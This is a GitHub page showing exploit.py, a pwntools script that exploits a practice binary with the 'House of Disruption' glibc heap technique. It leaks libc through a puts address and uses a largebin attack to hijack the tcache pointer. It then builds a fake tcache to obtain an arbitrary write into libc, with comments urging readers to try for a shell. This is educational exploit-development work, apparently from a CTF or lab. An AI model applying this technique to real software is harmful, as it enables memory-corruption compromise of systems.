-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.py
132 lines (99 loc) · 5.68 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *
elf = context.binary = ELF('house_of_disruption_patched', checksec = False)
libc = ELF('libc.so.6', checksec = False)
def start():
if args.GDB:
return gdb.debug(elf.path)
else:
return process(elf.path)
free_positions = [0,]*8
def select_option(option):
io.sendlineafter(b'> ', str(option).encode())
def adjust_size(chunk_size): # copy pasted from HeapLABs ;)
return (chunk_size & ~0x0f) - 8
def lock_position():
for i in range(8):
if free_positions[i] == 0:
free_positions[i] = 1
return i
return -1
def unlock_position(pos):
free_positions[pos] = 0
def malloc(size, contents):
select_option(option = 1)
io.sendlineafter(b'> ', hex(adjust_size(size)).encode())
io.sendlineafter(b'> ', contents)
return lock_position()
def free(index):
select_option(option = 2)
io.sendlineafter(b': ', str(index).encode())
unlock_position(index)
def largebin_offset(address):
return address - 0x20
def largebin_attack(target, fake_tcache_contents):
largebin_target = largebin_offset(target)
chunk_A = malloc(size = 0x820, contents=fake_tcache_contents) # after our large bin attack our new tcache will be here.
chunk_B = malloc(size=0x70, contents=b'useful chunk') # this will take a guard chunk role also.
chunk_C = malloc(size = 0x830, contents=b'Overflow me I will give you arbitrary chunks of many sizes!')
chunk_guard = malloc(size = 0x40, contents=b'guard chunk')
# Initiate our large bin attack.
free(chunk_C) # free the biggest large chunk.
# currently chunk 0x830 is linked in unsortedbin list, let's sort it to large bin list.
sorter_chunk = malloc(size=0x840, contents=b'blah blah')
free(chunk_A) # free the smallest large chunk.
free(chunk_B) # we free this chunk inorder to overflow to chunk_C and hijack bk_nextsize pointer.
chunk_B = malloc(size=0x70, contents=b'A'*0x60 + p64(0x0) + p64(0x830) + p64(0x0) + p64(0x0) + p64(0x0) + p64(largebin_target))
# because we are sending also a newline we have to discard some output. Newline issues -.-
io.recvuntil(b'Sorry you are not allowed to leave, you are my slave.\n')
sorter_chunk = malloc(size=0x840, contents=b'blah blah') # now tcache must point back to our chunk_A!
def house_of_disruption():
tcache_ref = libc.address - 0x2908
# I will choose default_overflow_region as my target, you can choose any targets you like. Try to get a shell if you can ;)
'''
2a6:1530│ 0x7faddbc4a530 (program_invocation_short_name) —▸ 0x7fff07c5ee08 ◂— 'house_of_madness_patched'
2a7:1538│ 0x7faddbc4a538 (program_invocation_name) —▸ 0x7fff07c5eded ◂— '/home/un1c0rn/house_of_madness/house_of_madness_patched'
2a8:1540│ 0x7faddbc4a540 (default_overflow_region) ◂— 0x0
2a9:1548│ 0x7faddbc4a548 (default_overflow_region+8) ◂— 0x1
2aa:1550│ 0x7faddbc4a550 (default_overflow_region+16) ◂— 0x2
'''
target = libc.sym.default_overflow_region # any target we like but we need it to be aligned to avoid tcache_get unaligned tcache mitigation!
contents = p64(0xdeadbeef) + p64(0xcafebabe) + p64(0xbadc0de)
# After our large bin attack our small large bin which now is our tcache will look like this:
'''
0x55ed6a059290: 0x0000000000000000 0x0000000000000821
0x55ed6a0592a0: 0x00007f9ce80d41d0 0x000055ed6a059b20
0x55ed6a0592b0: 0x000055ed6a059b20 0x00007f9ce7ede6d8
0x55ed6a0592c0: 0x00000000deadbeef 0x00000000deadbeef
0x55ed6a0592d0: 0x00000000deadbeef 0x00000000deadbeef
0x55ed6a0592e0: 0x00000000deadbeef 0x00000000deadbeef
0x55ed6a0592f0: 0x00000000deadbeef 0x00000000deadbeef
0x55ed6a059300: 0x00000000deadbeef 0x00000000deadbeef
0x55ed6a059310: 0x00000000deadbeef 0x00000000deadbeef
0x55ed6a059320: 0x00000000deadbeef 0x00000000deadbeef
0x55ed6a059330: 0x00000000deadbeef 0x00000000deadbeef
'''
# Our new tcache will start from 0x55ed6a059290.
# So we can not control the first 6 qwords. (Except if we perform another heap overflow from an above crafted chunk or with a write after free). But it doesn't matter the top of the tcache is allocated for the counts.
# Filling our small large bin with a special crafted fake tcache we can supply fake tcache bins and allocate whatever we want!
'''
/* offset | size */ type = struct tcache_perthread_struct {
/* 0x0000 | 0x0080 */ uint16_t counts[64];
/* 0x0080 | 0x0200 */ tcache_entry *entries[64];
/* total size (bytes): 640 */
}
'''
fake_tcache_counts = p64(0)*4 + p64(0xffffffffffffffff)*10 # first 4 qwords are used for fd/bk/bk_nextsize/fd_nextsize and after our large bin attack whatever we place there will be overwritten
fake_tcache_bins = p64(target - 0x10)*0x80 # spray our target because I'm lazy to calculate simple stuff.
fake_tcache = fake_tcache_counts + fake_tcache_bins
largebin_attack(tcache_ref, fake_tcache)
malloc(size = 0xe0, contents=p64(0x0)*2 + contents) # allocate our target and overwrite it with our contents :)
success(f'See the contents of your target in the debugger ;)')
success(f'Quick reminder your selected target was: 0x{target:02x}')
io = start()
io.recvuntil(b'@ The ASLR god gifted you a present for your adventure: ') # skip blah blah
puts_leak = int(io.recvline(keepends = False), base = 16)
success(f'puts @ 0x{puts_leak:02x}')
libc.address = puts_leak - libc.sym.puts
success(f'libc @ 0x{libc.address:02x}')
house_of_disruption()
io.interactive()